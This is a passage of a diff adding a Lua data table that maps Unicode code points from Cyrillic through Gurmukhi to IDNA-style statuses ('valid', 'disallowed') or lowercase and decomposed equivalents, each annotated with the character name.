+ [0x04AF] = {status="valid"}, -- CYRILLIC SMALL LETTER STRAIGHT U
+ [0x04B0] = 0x04B1, -- CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE
+ [0x04B1] = {status="valid"}, -- CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE
+ [0x04B2] = 0x04B3, -- CYRILLIC CAPITAL LETTER HA WITH DESCENDER
+ [0x04B3] = {status="valid"}, -- CYRILLIC SMALL LETTER HA WITH DESCENDER
+ [0x04B4] = 0x04B5, -- CYRILLIC CAPITAL LIGATURE TE TSE
+ [0x04B5] = {status="valid"}, -- CYRILLIC SMALL LIGATURE TE TSE
+ [0x04B6] = 0x04B7, -- CYRILLIC CAPITAL LETTER CHE WITH DESCENDER
+ [0x04B7] = {status="valid"}, -- CYRILLIC SMALL LETTER CHE WITH DESCENDER
+ [0x04B8] = 0x04B9, -- CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE
+ [0x04B9] = {status="valid"}, -- CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE
+ [0x04BA] = 0x04BB, -- CYRILLIC CAPITAL LETTER SHHA
+ [0x04BB] = {status="valid"}, -- CYRILLIC SMALL LETTER SHHA
+ [0x04BC] = 0x04BD, -- CYRILLIC CAPITAL LETTER ABKHASIAN CHE
+ [0x04BD] = {status="valid"}, -- CYRILLIC SMALL LETTER ABKHASIAN CHE
+ [0x04BE] = 0x04BF, -- CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER
+ [0x04BF] = {status="valid"}, -- CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER
+ [0x04C0] = {status="disallowed"}, -- CYRILLIC LETTER PALOCHKA
+ [0x04C1] = 0x04C2, -- CYRILLIC CAPITAL LETTER ZHE WITH BREVE
+ [0x04C2] = {status="valid"}, -- CYRILLIC SMALL LETTER ZHE WITH BREVE
+ [0x04C3] = 0x04C4, -- CYRILLIC CAPITAL LETTER KA WITH HOOK
+ [0x04C4] = {status="valid"}, -- CYRILLIC SMALL LETTER KA WITH HOOK
+ [0x04C5] = 0x04C6, -- CYRILLIC CAPITAL LETTER EL WITH TAIL
+ [0x04C6] = {status="valid"}, -- CYRILLIC SMALL LETTER EL WITH TAIL
+ [0x04C7] = 0x04C8, -- CYRILLIC CAPITAL LETTER EN WITH HOOK
+ [0x04C8] = {status="valid"}, -- CYRILLIC SMALL LETTER EN WITH HOOK
+ [0x04C9] = 0x04CA, -- CYRILLIC CAPITAL LETTER EN WITH TAIL
+ [0x04CA] = {status="valid"}, -- CYRILLIC SMALL LETTER EN WITH TAIL
+ [0x04CB] = 0x04CC, -- CYRILLIC CAPITAL LETTER KHAKASSIAN CHE
+ [0x04CC] = {status="valid"}, -- CYRILLIC SMALL LETTER KHAKASSIAN CHE
+ [0x04CD] = 0x04CE, -- CYRILLIC CAPITAL LETTER EM WITH TAIL
+ [0x04CE] = {status="valid"}, -- CYRILLIC SMALL LETTER EM WITH TAIL
+ [0x04CF] = {status="valid"}, -- CYRILLIC SMALL LETTER PALOCHKA
+ [0x04D0] = 0x04D1, -- CYRILLIC CAPITAL LETTER A WITH BREVE
+ [0x04D1] = {status="valid"}, -- CYRILLIC SMALL LETTER A WITH BREVE
+ [0x04D2] = 0x04D3, -- CYRILLIC CAPITAL LETTER A WITH DIAERESIS
+ [0x04D3] = {status="valid"}, -- CYRILLIC SMALL LETTER A WITH DIAERESIS
+ [0x04D4] = 0x04D5, -- CYRILLIC CAPITAL LIGATURE A IE
+ [0x04D5] = {status="valid"}, -- CYRILLIC SMALL LIGATURE A IE
+ [0x04D6] = 0x04D7, -- CYRILLIC CAPITAL LETTER IE WITH BREVE
+ [0x04D7] = {status="valid"}, -- CYRILLIC SMALL LETTER IE WITH BREVE
+ [0x04D8] = 0x04D9, -- CYRILLIC CAPITAL LETTER SCHWA
+ [0x04D9] = {status="valid"}, -- CYRILLIC SMALL LETTER SCHWA
+ [0x04DA] = 0x04DB, -- CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS
+ [0x04DB] = {status="valid"}, -- CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS
+ [0x04DC] = 0x04DD, -- CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS
+ [0x04DD] = {status="valid"}, -- CYRILLIC SMALL LETTER ZHE WITH DIAERESIS
+ [0x04DE] = 0x04DF, -- CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS
+ [0x04DF] = {status="valid"}, -- CYRILLIC SMALL LETTER ZE WITH DIAERESIS
+ [0x04E0] = 0x04E1, -- CYRILLIC CAPITAL LETTER ABKHASIAN DZE
+ [0x04E1] = {status="valid"}, -- CYRILLIC SMALL LETTER ABKHASIAN DZE
+ [0x04E2] = 0x04E3, -- CYRILLIC CAPITAL LETTER I WITH MACRON
+ [0x04E3] = {status="valid"}, -- CYRILLIC SMALL LETTER I WITH MACRON
+ [0x04E4] = 0x04E5, -- CYRILLIC CAPITAL LETTER I WITH DIAERESIS
+ [0x04E5] = {status="valid"}, -- CYRILLIC SMALL LETTER I WITH DIAERESIS
+ [0x04E6] = 0x04E7, -- CYRILLIC CAPITAL LETTER O WITH DIAERESIS
+ [0x04E7] = {status="valid"}, -- CYRILLIC SMALL LETTER O WITH DIAERESIS
+ [0x04E8] = 0x04E9, -- CYRILLIC CAPITAL LETTER BARRED O
+ [0x04E9] = {status="valid"}, -- CYRILLIC SMALL LETTER BARRED O
+ [0x04EA] = 0x04EB, -- CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS
+ [0x04EB] = {status="valid"}, -- CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS
+ [0x04EC] = 0x04ED, -- CYRILLIC CAPITAL LETTER E WITH DIAERESIS
+ [0x04ED] = {status="valid"}, -- CYRILLIC SMALL LETTER E WITH DIAERESIS
+ [0x04EE] = 0x04EF, -- CYRILLIC CAPITAL LETTER U WITH MACRON
+ [0x04EF] = {status="valid"}, -- CYRILLIC SMALL LETTER U WITH MACRON
+ [0x04F0] = 0x04F1, -- CYRILLIC CAPITAL LETTER U WITH DIAERESIS
+ [0x04F1] = {status="valid"}, -- CYRILLIC SMALL LETTER U WITH DIAERESIS
+ [0x04F2] = 0x04F3, -- CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE
+ [0x04F3] = {status="valid"}, -- CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE
+ [0x04F4] = 0x04F5, -- CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS
+ [0x04F5] = {status="valid"}, -- CYRILLIC SMALL LETTER CHE WITH DIAERESIS
+ [0x04F6] = 0x04F7, -- CYRILLIC CAPITAL LETTER GHE WITH DESCENDER
+ [0x04F7] = {status="valid"}, -- CYRILLIC SMALL LETTER GHE WITH DESCENDER
+ [0x04F8] = 0x04F9, -- CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS
+ [0x04F9] = {status="valid"}, -- CYRILLIC SMALL LETTER YERU WITH DIAERESIS
+ [0x04FA] = 0x04FB, -- CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK
+ [0x04FB] = {status="valid"}, -- CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK
+ [0x04FC] = 0x04FD, -- CYRILLIC CAPITAL LETTER HA WITH HOOK
+ [0x04FD] = {status="valid"}, -- CYRILLIC SMALL LETTER HA WITH HOOK
+ [0x04FE] = 0x04FF, -- CYRILLIC CAPITAL LETTER HA WITH STROKE
+ [0x04FF] = {status="valid"}, -- CYRILLIC SMALL LETTER HA WITH STROKE
+ [0x0500] = 0x0501, -- CYRILLIC CAPITAL LETTER KOMI DE
+ [0x0501] = {status="valid"}, -- CYRILLIC SMALL LETTER KOMI DE
+ [0x0502] = 0x0503, -- CYRILLIC CAPITAL LETTER KOMI DJE
+ [0x0503] = {status="valid"}, -- CYRILLIC SMALL LETTER KOMI DJE
+ [0x0504] = 0x0505, -- CYRILLIC CAPITAL LETTER KOMI ZJE
+ [0x0505] = {status="valid"}, -- CYRILLIC SMALL LETTER KOMI ZJE
+ [0x0506] = 0x0507, -- CYRILLIC CAPITAL LETTER KOMI DZJE
+ [0x0507] = {status="valid"}, -- CYRILLIC SMALL LETTER KOMI DZJE
+ [0x0508] = 0x0509, -- CYRILLIC CAPITAL LETTER KOMI LJE
+ [0x0509] = {status="valid"}, -- CYRILLIC SMALL LETTER KOMI LJE
+ [0x050A] = 0x050B, -- CYRILLIC CAPITAL LETTER KOMI NJE
+ [0x050B] = {status="valid"}, -- CYRILLIC SMALL LETTER KOMI NJE
+ [0x050C] = 0x050D, -- CYRILLIC CAPITAL LETTER KOMI SJE
+ [0x050D] = {status="valid"}, -- CYRILLIC SMALL LETTER KOMI SJE
+ [0x050E] = 0x050F, -- CYRILLIC CAPITAL LETTER KOMI TJE
+ [0x050F] = {status="valid"}, -- CYRILLIC SMALL LETTER KOMI TJE
+ [0x0510] = 0x0511, -- CYRILLIC CAPITAL LETTER REVERSED ZE
+ [0x0511] = {status="valid"}, -- CYRILLIC SMALL LETTER REVERSED ZE
+ [0x0512] = 0x0513, -- CYRILLIC CAPITAL LETTER EL WITH HOOK
+ [0x0513] = {status="valid"}, -- CYRILLIC SMALL LETTER EL WITH HOOK
+ [0x0514] = 0x0515, -- CYRILLIC CAPITAL LETTER LHA
+ [0x0515] = {status="valid"}, -- CYRILLIC SMALL LETTER LHA
+ [0x0516] = 0x0517, -- CYRILLIC CAPITAL LETTER RHA
+ [0x0517] = {status="valid"}, -- CYRILLIC SMALL LETTER RHA
+ [0x0518] = 0x0519, -- CYRILLIC CAPITAL LETTER YAE
+ [0x0519] = {status="valid"}, -- CYRILLIC SMALL LETTER YAE
+ [0x051A] = 0x051B, -- CYRILLIC CAPITAL LETTER QA
+ [0x051B] = {status="valid"}, -- CYRILLIC SMALL LETTER QA
+ [0x051C] = 0x051D, -- CYRILLIC CAPITAL LETTER WE
+ [0x051D] = {status="valid"}, -- CYRILLIC SMALL LETTER WE
+ [0x051E] = 0x051F, -- CYRILLIC CAPITAL LETTER ALEUT KA
+ [0x051F] = {status="valid"}, -- CYRILLIC SMALL LETTER ALEUT KA
+ [0x0520] = 0x0521, -- CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK
+ [0x0521] = {status="valid"}, -- CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK
+ [0x0522] = 0x0523, -- CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK
+ [0x0523] = {status="valid"}, -- CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK
+ [0x0524] = 0x0525, -- CYRILLIC CAPITAL LETTER PE WITH DESCENDER
+ [0x0525] = {status="valid"}, -- CYRILLIC SMALL LETTER PE WITH DESCENDER
+ [0x0526] = 0x0527, -- CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER
+ [0x0527] = {status="valid"}, -- CYRILLIC SMALL LETTER SHHA WITH DESCENDER
+ [0x0528] = 0x0529, -- CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK
+ [0x0529] = {status="valid"}, -- CYRILLIC SMALL LETTER EN WITH LEFT HOOK
+ [0x052A] = 0x052B, -- CYRILLIC CAPITAL LETTER DZZHE
+ [0x052B] = {status="valid"}, -- CYRILLIC SMALL LETTER DZZHE
+ [0x052C] = 0x052D, -- CYRILLIC CAPITAL LETTER DCHE
+ [0x052D] = {status="valid"}, -- CYRILLIC SMALL LETTER DCHE
+ [0x052E] = 0x052F, -- CYRILLIC CAPITAL LETTER EL WITH DESCENDER
+ [0x052F] = {status="valid"}, -- CYRILLIC SMALL LETTER EL WITH DESCENDER
+ [0x0530] = {status="disallowed"}, -- NA <reserved-0530>
+ [0x0531] = 0x0561, -- ARMENIAN CAPITAL LETTER AYB
+ [0x0532] = 0x0562, -- ARMENIAN CAPITAL LETTER BEN
+ [0x0533] = 0x0563, -- ARMENIAN CAPITAL LETTER GIM
+ [0x0534] = 0x0564, -- ARMENIAN CAPITAL LETTER DA
+ [0x0535] = 0x0565, -- ARMENIAN CAPITAL LETTER ECH
+ [0x0536] = 0x0566, -- ARMENIAN CAPITAL LETTER ZA
+ [0x0537] = 0x0567, -- ARMENIAN CAPITAL LETTER EH
+ [0x0538] = 0x0568, -- ARMENIAN CAPITAL LETTER ET
+ [0x0539] = 0x0569, -- ARMENIAN CAPITAL LETTER TO
+ [0x053A] = 0x056A, -- ARMENIAN CAPITAL LETTER ZHE
+ [0x053B] = 0x056B, -- ARMENIAN CAPITAL LETTER INI
+ [0x053C] = 0x056C, -- ARMENIAN CAPITAL LETTER LIWN
+ [0x053D] = 0x056D, -- ARMENIAN CAPITAL LETTER XEH
+ [0x053E] = 0x056E, -- ARMENIAN CAPITAL LETTER CA
+ [0x053F] = 0x056F, -- ARMENIAN CAPITAL LETTER KEN
+ [0x0540] = 0x0570, -- ARMENIAN CAPITAL LETTER HO
+ [0x0541] = 0x0571, -- ARMENIAN CAPITAL LETTER JA
+ [0x0542] = 0x0572, -- ARMENIAN CAPITAL LETTER GHAD
+ [0x0543] = 0x0573, -- ARMENIAN CAPITAL LETTER CHEH
+ [0x0544] = 0x0574, -- ARMENIAN CAPITAL LETTER MEN
+ [0x0545] = 0x0575, -- ARMENIAN CAPITAL LETTER YI
+ [0x0546] = 0x0576, -- ARMENIAN CAPITAL LETTER NOW
+ [0x0547] = 0x0577, -- ARMENIAN CAPITAL LETTER SHA
+ [0x0548] = 0x0578, -- ARMENIAN CAPITAL LETTER VO
+ [0x0549] = 0x0579, -- ARMENIAN CAPITAL LETTER CHA
+ [0x054A] = 0x057A, -- ARMENIAN CAPITAL LETTER PEH
+ [0x054B] = 0x057B, -- ARMENIAN CAPITAL LETTER JHEH
+ [0x054C] = 0x057C, -- ARMENIAN CAPITAL LETTER RA
+ [0x054D] = 0x057D, -- ARMENIAN CAPITAL LETTER SEH
+ [0x054E] = 0x057E, -- ARMENIAN CAPITAL LETTER VEW
+ [0x054F] = 0x057F, -- ARMENIAN CAPITAL LETTER TIWN
+ [0x0550] = 0x0580, -- ARMENIAN CAPITAL LETTER REH
+ [0x0551] = 0x0581, -- ARMENIAN CAPITAL LETTER CO
+ [0x0552] = 0x0582, -- ARMENIAN CAPITAL LETTER YIWN
+ [0x0553] = 0x0583, -- ARMENIAN CAPITAL LETTER PIWR
+ [0x0554] = 0x0584, -- ARMENIAN CAPITAL LETTER KEH
+ [0x0555] = 0x0585, -- ARMENIAN CAPITAL LETTER OH
+ [0x0556] = 0x0586, -- ARMENIAN CAPITAL LETTER FEH
+ -- COMBINING CYRILLIC HUNDRED THOUSANDS SIGN..COMBINING CYRILLIC MILLIONS SIGN
+ [0x0488] = {status="disallowed"},
+ [0x0489] = {status="disallowed"},
+ [0x0559] = {status="valid"}, -- ARMENIAN MODIFIER LETTER LEFT HALF RING
+ -- NA <reserved-0557>..<reserved-0558>
+ [0x0557] = {status="disallowed"},
+ [0x0558] = {status="disallowed"},
+ [0x0560] = {status="disallowed"}, -- NA <reserved-0560>
+ [0x0587] = {0x0565, 0x0582}, -- ARMENIAN SMALL LIGATURE ECH YIWN
+ [0x0588] = {status="disallowed"}, -- NA <reserved-0588>
+ [0x0589] = {status="disallowed"}, -- ARMENIAN FULL STOP
+ [0x058A] = {status="disallowed"}, -- ARMENIAN HYPHEN
+ -- NA <reserved-058B>..<reserved-058C>
+ [0x058B] = {status="disallowed"},
+ [0x058C] = {status="disallowed"},
+ [0x058F] = {status="disallowed"}, -- ARMENIAN DRAM SIGN
+ [0x0590] = {status="disallowed"}, -- NA <reserved-0590>
+ -- RIGHT-FACING ARMENIAN ETERNITY SIGN..LEFT-FACING ARMENIAN ETERNITY SIGN
+ [0x058D] = {status="disallowed"},
+ [0x058E] = {status="disallowed"},
+ [0x05A2] = {status="valid"}, -- HEBREW ACCENT ATNAH HAFUKH
+ [0x05BA] = {status="valid"}, -- HEBREW POINT HOLAM HASER FOR VAV
+ [0x05BE] = {status="disallowed"}, -- HEBREW PUNCTUATION MAQAF
+ [0x05BF] = {status="valid"}, -- HEBREW POINT RAFE
+ [0x05C0] = {status="disallowed"}, -- HEBREW PUNCTUATION PASEQ
+ -- HEBREW POINT QUBUTS..HEBREW POINT METEG
+ [0x05BB] = {status="valid"},
+ [0x05BC] = {status="valid"},
+ [0x05BD] = {status="valid"},
+ [0x05C3] = {status="disallowed"}, -- HEBREW PUNCTUATION SOF PASUQ
+ [0x05C4] = {status="valid"}, -- HEBREW MARK UPPER DOT
+ [0x05C5] = {status="valid"}, -- HEBREW MARK LOWER DOT
+ [0x05C6] = {status="disallowed"}, -- HEBREW PUNCTUATION NUN HAFUKHA
+ [0x05C7] = {status="valid"}, -- HEBREW POINT QAMATS QATAN
+ -- HEBREW POINT SHIN DOT..HEBREW POINT SIN DOT
+ [0x05C1] = {status="valid"},
+ [0x05C2] = {status="valid"},
+ -- NA <reserved-05EB>..<reserved-05EF>
+ [0x05EB] = {status="disallowed"},
+ [0x05EC] = {status="disallowed"},
+ [0x05ED] = {status="disallowed"},
+ [0x05EE] = {status="disallowed"},
+ [0x05EF] = {status="disallowed"},
+ -- HEBREW LIGATURE YIDDISH DOUBLE VAV..HEBREW PUNCTUATION GERSHAYIM
+ [0x05F0] = {status="valid"},
+ [0x05F1] = {status="valid"},
+ [0x05F2] = {status="valid"},
+ [0x05F3] = {status="valid"},
+ [0x05F4] = {status="valid"},
+ [0x0604] = {status="disallowed"}, -- ARABIC SIGN SAMVAT
+ [0x0605] = {status="disallowed"}, -- ARABIC NUMBER MARK ABOVE
+ [0x060B] = {status="disallowed"}, -- AFGHANI SIGN
+ [0x060C] = {status="disallowed"}, -- ARABIC COMMA
+ -- ARABIC-INDIC CUBE ROOT..ARABIC-INDIC PER TEN THOUSAND SIGN
+ [0x0606] = {status="disallowed"},
+ [0x0607] = {status="disallowed"},
+ [0x0608] = {status="disallowed"},
+ [0x0609] = {status="disallowed"},
+ [0x060A] = {status="disallowed"},
+ -- ARABIC DATE SEPARATOR..ARABIC SIGN MISRA
+ [0x060D] = {status="disallowed"},
+ [0x060E] = {status="disallowed"},
+ [0x060F] = {status="disallowed"},
+ [0x061B] = {status="disallowed"}, -- ARABIC SEMICOLON
+ [0x061C] = {status="disallowed"}, -- ARABIC LETTER MARK
+ [0x061D] = {status="disallowed"}, -- NA <reserved-061D>
+ [0x061E] = {status="disallowed"}, -- ARABIC TRIPLE DOT PUNCTUATION MARK
+ [0x061F] = {status="disallowed"}, -- ARABIC QUESTION MARK
+ [0x0620] = {status="valid"}, -- ARABIC LETTER KASHMIRI YEH
+ [0x0640] = {status="disallowed"}, -- ARABIC TATWEEL
+ [0x065F] = {status="valid"}, -- ARABIC WAVY HAMZA BELOW
+ -- ARABIC PERCENT SIGN..ARABIC FIVE POINTED STAR
+ [0x066A] = {status="disallowed"},
+ [0x066B] = {status="disallowed"},
+ [0x066C] = {status="disallowed"},
+ [0x066D] = {status="disallowed"},
+ [0x0675] = {0x0627, 0x0674}, -- ARABIC LETTER HIGH HAMZA ALEF
+ [0x0676] = {0x0648, 0x0674}, -- ARABIC LETTER HIGH HAMZA WAW
+ [0x0677] = {0x06C7, 0x0674}, -- ARABIC LETTER U WITH HAMZA ABOVE
+ [0x0678] = {0x064A, 0x0674}, -- ARABIC LETTER HIGH HAMZA YEH
+ [0x06BF] = {status="valid"}, -- ARABIC LETTER TCHEH WITH DOT ABOVE
+ [0x06CF] = {status="valid"}, -- ARABIC LETTER WAW WITH DOT ABOVE
+ [0x06D4] = {status="disallowed"}, -- ARABIC FULL STOP
+ -- ARABIC LETTER E..ARABIC LETTER YEH BARREE WITH HAMZA ABOVE
+ [0x06D0] = {status="valid"},
+ [0x06D1] = {status="valid"},
+ [0x06D2] = {status="valid"},
+ [0x06D3] = {status="valid"},
+ [0x06DD] = {status="disallowed"}, -- ARABIC END OF AYAH
+ [0x06DE] = {status="disallowed"}, -- ARABIC START OF RUB EL HIZB
+ [0x06E9] = {status="disallowed"}, -- ARABIC PLACE OF SAJDAH
+ [0x06FF] = {status="valid"}, -- ARABIC LETTER HEH WITH INVERTED V
+ [0x070E] = {status="disallowed"}, -- NA <reserved-070E>
+ [0x070F] = {status="disallowed"}, -- SYRIAC ABBREVIATION MARK
+ -- NA <reserved-074B>..<reserved-074C>
+ [0x074B] = {status="disallowed"},
+ [0x074C] = {status="disallowed"},
+ [0x07B1] = {status="valid"}, -- THAANA LETTER NAA
+ -- NKO SYMBOL OO DENNEN..NKO LAJANYALAN
+ [0x07F6] = {status="disallowed"},
+ [0x07F7] = {status="disallowed"},
+ [0x07F8] = {status="disallowed"},
+ [0x07F9] = {status="disallowed"},
+ [0x07FA] = {status="disallowed"},
+ -- NA <reserved-07FB>..<reserved-07FF>
+ [0x07FB] = {status="disallowed"},
+ [0x07FC] = {status="disallowed"},
+ [0x07FD] = {status="disallowed"},
+ [0x07FE] = {status="disallowed"},
+ [0x07FF] = {status="disallowed"},
+ -- NA <reserved-082E>..<reserved-082F>
+ [0x082E] = {status="disallowed"},
+ [0x082F] = {status="disallowed"},
+ [0x083F] = {status="disallowed"}, -- NA <reserved-083F>
+ [0x085E] = {status="disallowed"}, -- MANDAIC PUNCTUATION
+ [0x085F] = {status="disallowed"}, -- NA <reserved-085F>
+ -- NA <reserved-085C>..<reserved-085D>
+ [0x085C] = {status="disallowed"},
+ [0x085D] = {status="disallowed"},
+ [0x08A0] = {status="valid"}, -- ARABIC LETTER BEH WITH SMALL V BELOW
+ [0x08A1] = {status="valid"}, -- ARABIC LETTER BEH WITH HAMZA ABOVE
+ [0x08B5] = {status="disallowed"}, -- NA <reserved-08B5>
+ [0x08E2] = {status="disallowed"}, -- ARABIC DISPUTED END OF AYAH
+ [0x08E3] = {status="valid"}, -- ARABIC TURNED DAMMA BELOW
+ [0x08FF] = {status="valid"}, -- ARABIC MARK SIDEWAYS NOON GHUNNA
+ [0x0900] = {status="valid"}, -- DEVANAGARI SIGN INVERTED CANDRABINDU
+ [0x0904] = {status="valid"}, -- DEVANAGARI LETTER SHORT A
+ -- DEVANAGARI SIGN CANDRABINDU..DEVANAGARI SIGN VISARGA
+ [0x0901] = {status="valid"},
+ [0x0902] = {status="valid"},
+ [0x0903] = {status="valid"},
+ [0x094E] = {status="valid"}, -- DEVANAGARI VOWEL SIGN PRISHTHAMATRA E
+ [0x094F] = {status="valid"}, -- DEVANAGARI VOWEL SIGN AW
+ [0x0955] = {status="valid"}, -- DEVANAGARI VOWEL SIGN CANDRA LONG E
+ -- DEVANAGARI OM..DEVANAGARI ACUTE ACCENT
+ [0x0950] = {status="valid"},
+ [0x0951] = {status="valid"},
+ [0x0952] = {status="valid"},
+ [0x0953] = {status="valid"},
+ [0x0954] = {status="valid"},
+ [0x0958] = {0x0915, 0x093C}, -- DEVANAGARI LETTER QA
+ [0x0959] = {0x0916, 0x093C}, -- DEVANAGARI LETTER KHHA
+ [0x095A] = {0x0917, 0x093C}, -- DEVANAGARI LETTER GHHA
+ [0x095B] = {0x091C, 0x093C}, -- DEVANAGARI LETTER ZA
+ [0x095C] = {0x0921, 0x093C}, -- DEVANAGARI LETTER DDDHA
+ [0x095D] = {0x0922, 0x093C}, -- DEVANAGARI LETTER RHA
+ [0x095E] = {0x092B, 0x093C}, -- DEVANAGARI LETTER FA
+ [0x095F] = {0x092F, 0x093C}, -- DEVANAGARI LETTER YYA
+ -- DEVANAGARI VOWEL SIGN UE..DEVANAGARI VOWEL SIGN UUE
+ [0x0956] = {status="valid"},
+ [0x0957] = {status="valid"},
+ -- DEVANAGARI LETTER VOCALIC RR..DEVANAGARI VOWEL SIGN VOCALIC LL
+ [0x0960] = {status="valid"},
+ [0x0961] = {status="valid"},
+ [0x0962] = {status="valid"},
+ [0x0963] = {status="valid"},
+ -- DEVANAGARI DANDA..DEVANAGARI DOUBLE DANDA
+ [0x0964] = {status="disallowed"},
+ [0x0965] = {status="disallowed"},
+ [0x0970] = {status="disallowed"}, -- DEVANAGARI ABBREVIATION SIGN
+ [0x0978] = {status="valid"}, -- DEVANAGARI LETTER MARWARI DDA
+ [0x097D] = {status="valid"}, -- DEVANAGARI LETTER GLOTTAL STOP
+ -- DEVANAGARI LETTER ZHA..DEVANAGARI LETTER HEAVY YA
+ -- DEVANAGARI LETTER GGA..DEVANAGARI LETTER JJA
+ [0x0979] = {status="valid"},
+ [0x097A] = {status="valid"},
+ [0x097B] = {status="valid"},
+ [0x097C] = {status="valid"},
+ [0x0980] = {status="valid"}, -- BENGALI ANJI
+ -- DEVANAGARI LETTER DDDA..DEVANAGARI LETTER BBA
+ [0x097E] = {status="valid"},
+ [0x097F] = {status="valid"},
+ [0x0984] = {status="disallowed"}, -- NA <reserved-0984>
+ -- BENGALI SIGN CANDRABINDU..BENGALI SIGN VISARGA
+ [0x0981] = {status="valid"},
+ [0x0982] = {status="valid"},
+ [0x0983] = {status="valid"},
+ -- NA <reserved-098D>..<reserved-098E>
+ [0x098D] = {status="disallowed"},
+ [0x098E] = {status="disallowed"},
+ -- BENGALI LETTER E..BENGALI LETTER AI
+ [0x098F] = {status="valid"},
+ [0x0990] = {status="valid"},
+ -- NA <reserved-0991>..<reserved-0992>
+ [0x0991] = {status="disallowed"},
+ [0x0992] = {status="disallowed"},
+ [0x09A9] = {status="disallowed"}, -- NA <reserved-09A9>
+ [0x09B1] = {status="disallowed"}, -- NA <reserved-09B1>
+ [0x09B2] = {status="valid"}, -- BENGALI LETTER LA
+ -- NA <reserved-09B3>..<reserved-09B5>
+ [0x09B3] = {status="disallowed"},
+ [0x09B4] = {status="disallowed"},
+ [0x09B5] = {status="disallowed"},
+ -- BENGALI LETTER SHA..BENGALI LETTER HA
+ [0x09B6] = {status="valid"},
+ [0x09B7] = {status="valid"},
+ [0x09B8] = {status="valid"},
+ [0x09B9] = {status="valid"},
+ [0x09BC] = {status="valid"}, -- BENGALI SIGN NUKTA
+ [0x09BD] = {status="valid"}, -- BENGALI SIGN AVAGRAHA
+ -- NA <reserved-09BA>..<reserved-09BB>
+ [0x09BA] = {status="disallowed"},
+ [0x09BB] = {status="disallowed"},
+ -- NA <reserved-09C5>..<reserved-09C6>
+ [0x09C5] = {status="disallowed"},
+ [0x09C6] = {status="disallowed"},
+ -- BENGALI VOWEL SIGN E..BENGALI VOWEL SIGN AI
+ [0x09C7] = {status="valid"},
+ [0x09C8] = {status="valid"},
+ -- NA <reserved-09C9>..<reserved-09CA>
+ [0x09C9] = {status="disallowed"},
+ [0x09CA] = {status="disallowed"},
+ [0x09CE] = {status="valid"}, -- BENGALI LETTER KHANDA TA
+ -- BENGALI VOWEL SIGN O..BENGALI SIGN VIRAMA
+ [0x09CB] = {status="valid"},
+ [0x09CC] = {status="valid"},
+ [0x09CD] = {status="valid"},
+ [0x09D7] = {status="valid"}, -- BENGALI AU LENGTH MARK
+ [0x09DC] = {0x09A1, 0x09BC}, -- BENGALI LETTER RRA
+ [0x09DD] = {0x09A2, 0x09BC}, -- BENGALI LETTER RHA
+ [0x09DE] = {status="disallowed"}, -- NA <reserved-09DE>
+ [0x09DF] = {0x09AF, 0x09BC}, -- BENGALI LETTER YYA
+ -- NA <reserved-09D8>..<reserved-09DB>
+ [0x09D8] = {status="disallowed"},
+ [0x09D9] = {status="disallowed"},
+ [0x09DA] = {status="disallowed"},
+ [0x09DB] = {status="disallowed"},
+ -- BENGALI LETTER VOCALIC RR..BENGALI VOWEL SIGN VOCALIC LL
+ [0x09E0] = {status="valid"},
+ [0x09E1] = {status="valid"},
+ [0x09E2] = {status="valid"},
+ [0x09E3] = {status="valid"},
+ -- NA <reserved-09E4>..<reserved-09E5>
+ [0x09E4] = {status="disallowed"},
+ [0x09E5] = {status="disallowed"},
+ [0x09FB] = {status="disallowed"}, -- BENGALI GANDA MARK
+ [0x09FC] = {status="valid"}, -- BENGALI LETTER VEDIC ANUSVARA
+ [0x09FD] = {status="disallowed"}, -- BENGALI ABBREVIATION SIGN
+ [0x0A01] = {status="valid"}, -- GURMUKHI SIGN ADAK BINDI
+ [0x0A02] = {status="valid"}, -- GURMUKHI SIGN BINDI
+ [0x0A03] = {status="valid"}, -- GURMUKHI SIGN VISARGA
+ [0x0A04] = {status="disallowed"}, -- NA <reserved-0A04>
+ -- NA <reserved-09FE>..<reserved-0A00>
+ [0x09FE] = {status="disallowed"},
+ [0x09FF] = {status="disallowed"},
+ [0x0A00] = {status="disallowed"},
+ -- NA <reserved-0A0B>..<reserved-0A0E>
+ [0x0A0B] = {status="disallowed"},
+ [0x0A0C] = {status="disallowed"},
+ [0x0A0D] = {status="disallowed"},
+ [0x0A0E] = {status="disallowed"},
+ -- GURMUKHI LETTER EE..GURMUKHI LETTER AI
+ [0x0A0F] = {status="valid"},
+ [0x0A10] = {status="valid"},
+ -- NA <reserved-0A11>..<reserved-0A12>
+ [0x0A11] = {status="disallowed"},
+ [0x0A12] = {status="disallowed"},
+ [0x0A29] = {status="disallowed"}, -- NA <reserved-0A29>
+ [0x0A31] = {status="disallowed"}, -- NA <reserved-0A31>
+ [0x0A32] = {status="valid"}, -- GURMUKHI LETTER LA
+ [0x0A33] = {0x0A32, 0x0A3C}, -- GURMUKHI LETTER LLA
+ [0x0A34] = {status="disallowed"}, -- NA <reserved-0A34>
+ [0x0A35] = {status="valid"}, -- GURMUKHI LETTER VA
+ [0x0A36] = {0x0A38, 0x0A3C}, -- GURMUKHI LETTER SHA
+ [0x0A37] = {status="disallowed"}, -- NA <reserved-0A37>
+ -- GURMUKHI LETTER SA..GURMUKHI LETTER HA
+ [0x0A38] = {status="valid"},
+ [0x0A39] = {status="valid"},
+ [0x0A3C] = {status="valid"}, -- GURMUKHI SIGN NUKTA
+ [0x0A3D] = {status="disallowed"}, -- NA <reserved-0A3D>
